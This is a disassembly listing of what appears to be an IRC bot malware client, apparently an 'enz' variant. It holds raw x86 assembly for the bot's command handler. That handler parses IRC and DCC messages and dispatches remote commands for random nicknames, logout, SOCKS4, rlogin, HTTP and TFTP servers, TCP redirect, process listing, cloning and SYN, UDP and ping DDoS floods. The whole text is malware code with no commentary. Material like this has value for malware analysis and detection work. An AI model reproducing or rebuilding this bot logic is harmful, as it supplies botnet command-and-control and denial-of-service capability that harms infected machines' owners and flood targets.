		jz	short loc_40D04B
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_414FB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_414FC0
		add	esp, 10h
		mov	edi, 80h


loc_40D04B:				; CODE XREF: sub_40CC09+406j
					; sub_40CC09+41Dj
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40CFFE
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_40CFCD
		cmp	[ebp+arg_24], ebx
		jz	loc_40CFCD
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D093
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_415140
		add	esp, 0Ch
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_40D093:				; CODE XREF: sub_40CC09+473j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40D098:				; CODE XREF: sub_40CC09+4B0j
		cmp	[edi], bl
		jz	short loc_40D0AF
		lea	eax, [ebp+var_994]
		push	eax
		push	edi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D0C0


loc_40D0AF:				; CODE XREF: sub_40CC09+491j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D098
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_40D0C0:				; CODE XREF: sub_40CC09+4A4j
		lea	eax, [ebp+var_994]
		push	21h
		push	eax
		call	sub_415BA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40CFCD
		push	eax
		call	sub_413E90
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_413E90
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40CFCD
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_4	; ":%s%s"
		push	esi
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_3AC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 24h
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_40D12B:				; CODE XREF: sub_40CC09+3DBj
		push	esi
		push	offset aPart	; "PART"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D14D
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D174


loc_40D14D:				; CODE XREF: sub_40CC09+531j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40D152:				; CODE XREF: sub_40CC09+569j
		cmp	[edi], bl
		jz	short loc_40D168
		push	[ebp+var_94]
		push	edi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D1C2


loc_40D168:				; CODE XREF: sub_40CC09+54Bj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D152


loc_40D174:				; CODE XREF: sub_40CC09+542j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D223
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D1AB
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40D1AB:				; CODE XREF: sub_40CC09+597j
		push	[ebp+var_84]
		push	offset a_e_1_0bEnz_m_2 ; ".e.(1.0b) ( enz.m.d.l	) ..	Joined ch"...


loc_40D1B6:				; CODE XREF: sub_40CC09+50F2j
					; sub_40CC09+5453j ...
		call	sub_4098A7
		pop	ecx


loc_40D1BC:				; CODE XREF: sub_40CC09+4F4Dj
		pop	ecx
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_40D1C2:				; CODE XREF: sub_40CC09+55Dj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz_m_3 ; ".e.(1.0b) ( enz.m.d.l	) ..	User: %s "...
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_413C30
		add	esp, 18h
		test	eax, eax
		jnz	loc_40CFCD
		lea	eax, [ebp+var_1C4]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40CFC2
; ---------------------------------------------------------------------------


loc_40D223:				; CODE XREF: sub_40CC09+57Fj
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_413C30
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40D277
		push	[ebp+var_90]
		push	edi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D277
		push	[ebp+var_90]
		push	offset dword_434504
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41217B
		cmp	dword_42A32C, ebx
		jz	loc_41217B


loc_40D277:				; CODE XREF: sub_40CC09+634j
					; sub_40CC09+646j
		push	[ebp+var_90]
		push	esi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D3FD
		push	[ebp+var_90]
		push	edi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D3FD
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40D2BE:				; CODE XREF: sub_40CC09+8B0j
					; sub_40CC09+941j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_4344FC
		mov	[ebp+arg_8], eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D6F4
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D5B2
		cmp	[ebp+var_98], ebx
		jz	loc_40D58B
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_2 ; "%s"
		lea	eax, [ebp+var_5FC]
		push	edi
		push	eax
		call	sub_413812
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_610]
		push	edi
		push	eax
		call	sub_413812
		push	[ebp+esi+var_84]
		call	sub_413D7F
		mov	[ebp+var_478], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_618], eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_4F8]
		push	eax
		call	sub_415140
		mov	eax, [ebp+var_4]
		mov	[ebp+var_470], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_4F8]
		push	eax
		lea	eax, [ebp+var_5FC]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bDcc_m_d ; ".e.(1.0b) ( dcc.m.d.l	) ..	Receive	f"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	12h
		push	eax
		call	sub_4132BE
		add	esp, 44h
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_618]
		push	ebx
		push	eax
		push	offset sub_40A160
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_474]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	loc_40D57A


loc_40D3E7:				; CODE XREF: sub_40CC09+7F2j
		cmp	[ebp+var_468], ebx
		jnz	loc_410457
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_40D3E7
; ---------------------------------------------------------------------------


loc_40D3FD:				; CODE XREF: sub_40CC09+67Ej
					; sub_40CC09+694j
		push	[ebp+var_90]
		push	edi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D416
		mov	[ebp+var_4], 1


loc_40D416:				; CODE XREF: sub_40CC09+804j
		cmp	[ebp+var_8C], ebx
		jz	loc_40CFCD
		push	offset dword_422190
		push	[ebp+var_8C]
		call	sub_413DE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D43D
		cmp	[ebp+var_4], ebx
		jz	short loc_40D449


loc_40D43D:				; CODE XREF: sub_40CC09+82Dj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_8C], eax


loc_40D449:				; CODE XREF: sub_40CC09+832j
		cmp	[ebp+var_88], ebx
		jz	loc_40CFCD
		inc	[ebp+var_88]
		jz	short loc_40D495
		cmp	[ebp+arg_10], ebx
		jz	short loc_40D495
		lea	eax, [ebp+var_464]
		push	eax
		call	sub_413E90
		push	eax
		lea	eax, [ebp+var_464]
		push	[ebp+var_88]
		push	eax
		call	sub_4152D0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40D49B
; ---------------------------------------------------------------------------


loc_40D495:				; CODE XREF: sub_40CC09+852j
					; sub_40CC09+857j
		mov	esi, [ebp+var_AC]


loc_40D49B:				; CODE XREF: sub_40CC09+88Aj
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40CFCD
		push	edi
		push	offset dword_4344A8
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D2BE
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40D53B
		mov	eax, dword_7420F4
		mov	eax, off_42A3F4[eax*4]
		cmp	[eax], bl
		jz	short loc_40D53B
		push	eax
		push	ecx
		push	offset dword_43448C
		push	[ebp+arg_4]
		call	sub_40B26F
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		add	esp, 20h
		cmp	[ebp+var_98], ebx
		jnz	loc_40CFCD
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	1
		push	eax
		push	offset dword_741FF4


loc_40D52B:				; CODE XREF: sub_40CC09+4E56j
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_40D53B:				; CODE XREF: sub_40CC09+8BFj
					; sub_40CC09+8CFj
		push	edi
		push	offset dword_434468
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D2BE
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40D2BE
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40D2BE
		push	eax
		push	ecx
		push	offset dword_434450
		jmp	loc_40CFC2
; ---------------------------------------------------------------------------


loc_40D57A:				; CODE XREF: sub_40CC09+7D8j
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bDcc_m_0 ; ".e.(1.0b) ( dcc.m.d.l	) ..	Failed to"...
		jmp	loc_40D6E0
; ---------------------------------------------------------------------------


loc_40D58B:				; CODE XREF: sub_40CC09+6FFj
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	[ebp+esi+var_8C]
		push	offset a_e_1_0bDcc_m_1 ; ".e.(1.0b) ( dcc.m.d.l	) ..	Receive	f"...
		push	eax
		call	sub_413812
		add	esp, 10h
		jmp	loc_410457
; ---------------------------------------------------------------------------


loc_40D5B2:				; CODE XREF: sub_40CC09+6F3j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D70A
		cmp	[ebp+var_98], ebx
		jz	loc_40D6D4
		push	13h
		call	sub_413506
		test	eax, eax
		pop	ecx
		jnz	loc_40D6C6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_610]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_413812
		push	[ebp+esi+var_84]
		call	sub_413D7F
		mov	[ebp+var_478], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_618], eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_4F8]
		push	eax
		call	sub_415140
		mov	eax, [ebp+var_4]
		mov	[ebp+var_470], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bDcc_m_2 ; ".e.(1.0b) ( dcc.m.d.l	) ..	Chat from"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	13h
		push	eax
		call	sub_4132BE
		add	esp, 34h
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_618]
		push	ebx
		push	eax
		push	offset sub_409BFD
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_474]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40D6B8


loc_40D6A2:				; CODE XREF: sub_40CC09+AADj
		cmp	[ebp+var_468], ebx
		jnz	loc_410457
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_40D6A2
; ---------------------------------------------------------------------------


loc_40D6B8:				; CODE XREF: sub_40CC09+A97j
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bDcc_m_3 ; ".e.(1.0b) ( dcc.m.d.l	) ..	Failed to"...
		jmp	short loc_40D6E0
; ---------------------------------------------------------------------------


loc_40D6C6:				; CODE XREF: sub_40CC09+9DAj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset a_e_1_0bDcc_m_4 ; ".e.(1.0b) ( dcc.m.d.l	) ..	Chat alre"...
		jmp	short loc_40D6E0
; ---------------------------------------------------------------------------


loc_40D6D4:				; CODE XREF: sub_40CC09+9CAj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset a_e_1_0bDcc_m_5 ; ".e.(1.0b) ( dcc.m.d.l	) ..	Chat fail"...


loc_40D6E0:				; CODE XREF: sub_40CC09+97Dj
					; sub_40CC09+ABBj ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch
		jmp	loc_410457
; ---------------------------------------------------------------------------


loc_40D6F4:				; CODE XREF: sub_40CC09+6D8j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42A334
		mov	[edi], ecx
		jnz	loc_40CFCD


loc_40D70A:				; CODE XREF: sub_40CC09+9BEj
		mov	edi, [edi]
		push	edi
		push	offset aNewshit	; "newshit"
		mov	[ebp+arg_8], edi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412183
		push	edi
		push	offset aHi	; "hi"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412183
		cmp	[ebp+var_98], ebx
		jnz	short loc_40D75B
		push	[ebp+var_90]
		push	offset dword_434504
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41217B


loc_40D75B:				; CODE XREF: sub_40CC09+B36j
		cmp	[ebp+arg_28], ebx
		jnz	loc_41217B
		xor	edi, edi
		cmp	dword_42C948, ebx
		jle	loc_40D907
		mov	[ebp+arg_20], offset dword_4514A8


loc_40D779:				; CODE XREF: sub_40CC09+B8Fj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D79F
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42C948
		jl	short loc_40D779
		jmp	loc_40D907
; ---------------------------------------------------------------------------


loc_40D79F:				; CODE XREF: sub_40CC09+B7Fj
		push	offset asc_434610 ; " :"
		push	[ebp+arg_0]
		call	sub_413DE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40CFCD
		mov	cl, byte_42A334
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42A334
		mov	[eax+3], cl
		lea	ecx, dword_4514C0[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_415140
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40D7F4:				; CODE XREF: sub_40CC09+C93j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A4]
		push	offset aD	; "$%d-"
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_413DE0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40D860
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40D860
		lea	eax, dword_4514A8[edi]
		push	eax
		call	sub_413E90
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40D892
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_413DE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40D892
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_408296
		add	esp, 0Ch
		jmp	short loc_40D892
; ---------------------------------------------------------------------------


loc_40D860:				; CODE XREF: sub_40CC09+C13j
					; sub_40CC09+C1Aj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40D892
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_408296
		add	esp, 18h


loc_40D892:				; CODE XREF: sub_40CC09+C2Cj
					; sub_40CC09+C40j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40D7F4
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40D8AF:				; CODE XREF: sub_40CC09+CF2j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A4]
		push	offset off_43428C
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_413DE0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40D8F2
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40D8F2
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_408296
		add	esp, 0Ch


loc_40D8F2:				; CODE XREF: sub_40CC09+CCEj
					; sub_40CC09+CD4j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40D8AF
		mov	[ebp+var_1C8], 1


loc_40D907:				; CODE XREF: sub_40CC09+B63j
					; sub_40CC09+B91j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42A334
		jz	short loc_40D920
		cmp	[ebp+var_1C8], ebx
		jz	loc_40DB05


loc_40D920:				; CODE XREF: sub_40CC09+D09j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset off_434288
		push	edi
		call	sub_408296
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_1	; "$user"
		push	edi
		call	sub_408296
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_408296
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		call	sub_412AB7
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_408296
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer	; "$server"
		push	edi
		call	sub_408296
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_413DE0
		add	esp, 14h


loc_40D992:				; CODE XREF: sub_40CC09+E75j
		test	eax, eax
		jz	loc_40DA83
		push	edi
		push	[ebp+arg_0]
		call	sub_413DE0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_A4]
		push	offset asc_434258 ; ")"
		push	eax
		call	sub_4150A0
		add	esp, 1Ch
		cmp	[ebp+var_A4], 30h
		jl	short loc_40D9DE
		cmp	[ebp+var_A4], 39h
		jle	short loc_40D9F4


loc_40D9DE:				; CODE XREF: sub_40CC09+DCAj
		push	3
		lea	eax, [ebp+var_A4]
		push	offset a63	; "63"
		push	eax
		call	sub_415140
		add	esp, 0Ch


loc_40D9F4:				; CODE XREF: sub_40CC09+DD3j
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jle	short loc_40DA17
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_413D7F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40DA28
; ---------------------------------------------------------------------------


loc_40DA17:				; CODE XREF: sub_40CC09+DFAj
		call	sub_41386E
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_40DA28:				; CODE XREF: sub_40CC09+E0Cj
		lea	eax, [ebp+var_A4]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_413E90
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A4]
		push	ebx
		push	eax
		call	sub_413890
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A4]
		push	[ebp+arg_10]
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_408296
		push	edi
		push	[ebp+arg_0]
		call	sub_413DE0
		add	esp, 30h
		jmp	loc_40D992
; ---------------------------------------------------------------------------


loc_40DA83:				; CODE XREF: sub_40CC09+D8Bj
		mov	edi, 0FEh
		lea	eax, [ebp+var_B98]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_B98]
		push	edi
		push	eax
		lea	eax, [ebp+var_D9C]
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_D9C]
		push	offset asc_425148 ; " "
		push	eax
		call	sub_4150A0
		add	esp, 20h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+arg_10], 1Fh


loc_40DAD3:				; CODE XREF: sub_40CC09+EDFj
		push	offset asc_425148 ; " "
		push	ebx
		call	sub_4150A0
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40DAD3
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40CFCD
		add	ecx, 3
		mov	[eax], ecx


loc_40DB05:				; CODE XREF: sub_40CC09+D11j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aEnz_rndnick ; "enz.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41212E
		push	edi
		push	offset aEnz_rn	; "enz.rn"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41212E
		push	edi
		push	offset aEnz_endsess ; "enz.endsess"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41210C
		push	edi
		push	offset aEnz_d	; "enz.d"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41210C
		push	edi
		push	offset aEnz_logout ; "enz.logout"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412061
		push	edi
		push	offset aEnz_lo	; "enz.lo"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412061
		push	edi
		push	offset aServer_socks4_ ; "server.socks4.on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F3F
		push	edi
		push	offset aServer_s4_on ; "server.s4.on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F3F
		push	edi
		push	offset aServer_socks_0 ; "server.socks4.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DBF7
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer_0 ; "Server"
		push	offset a_s_ocks_4___ ; ".s.ocks.4..."


loc_40DBDB:				; CODE XREF: sub_40CC09+1012j
					; sub_40CC09+1038j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_41354C
		add	esp, 20h
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_40DBF7:				; CODE XREF: sub_40CC09+FBDj
		push	edi
		push	offset aServer_rlogin_ ; "server.rlogin.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DC1D
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset a_r_login_d___ ;	".r.login.d..."
		jmp	short loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DC1D:				; CODE XREF: sub_40CC09+FFDj
		push	edi
		push	offset aServer_web_off ; "server.web.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DC43
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset a_h_ttp_d___ ; ".h.ttp.d..."
		jmp	short loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DC43:				; CODE XREF: sub_40CC09+1023j
		push	edi
		push	offset aLog_off	; "log.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DC6C
		push	[ebp+esi+var_90]
		push	1Dh
		push	offset aLogList	; "Log list"
		push	offset a_l_o_g___ ; ".l.o.g..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DC6C:				; CODE XREF: sub_40CC09+1049j
		push	edi
		push	offset aServer_redirec ; "server.redirect.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DC95
		push	[ebp+esi+var_90]
		push	10h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset a_r_edirec_t___ ; ".r.edirec.t..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DC95:				; CODE XREF: sub_40CC09+1072j
		push	edi
		push	offset aDdos_off ; "ddos.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DCBE
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset aDdosFlood ; "DDoS flood"
		push	offset a_d_do_s___ ; ".d.do.s..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DCBE:				; CODE XREF: sub_40CC09+109Bj
		push	edi
		push	offset aDdos_syn_off ; "ddos.syn.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DCE7
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset aSynFlood ; "Syn	flood"
		push	offset a_s_y_n___ ; ".s.y.n..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DCE7:				; CODE XREF: sub_40CC09+10C4j
		push	edi
		push	offset aDdos_udp_off ; "ddos.udp.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD10
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset aUdpFlood ; "UDP	flood"
		push	offset a_u_d_p___ ; ".u.d.p..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DD10:				; CODE XREF: sub_40CC09+10EDj
		push	edi
		push	offset aDdos_ping_off ;	"ddos.ping.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD39
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset aPingFlood ; "Ping flood"
		push	offset a_p_in_g___ ; ".p.in.g..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DD39:				; CODE XREF: sub_40CC09+1116j
		push	edi
		push	offset aServer_tftp_of ; "server.tftp.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD62
		push	[ebp+esi+var_90]
		push	4
		push	offset aServer_0 ; "Server"
		push	offset a_t_ftp_d___ ; ".t.ftp.d..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DD62:				; CODE XREF: sub_40CC09+113Fj
		push	edi
		push	offset aBox_procs_off ;	"box.procs.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F27
		push	edi
		push	offset aBox_ps_off ; "box.ps.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F27
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DDB5
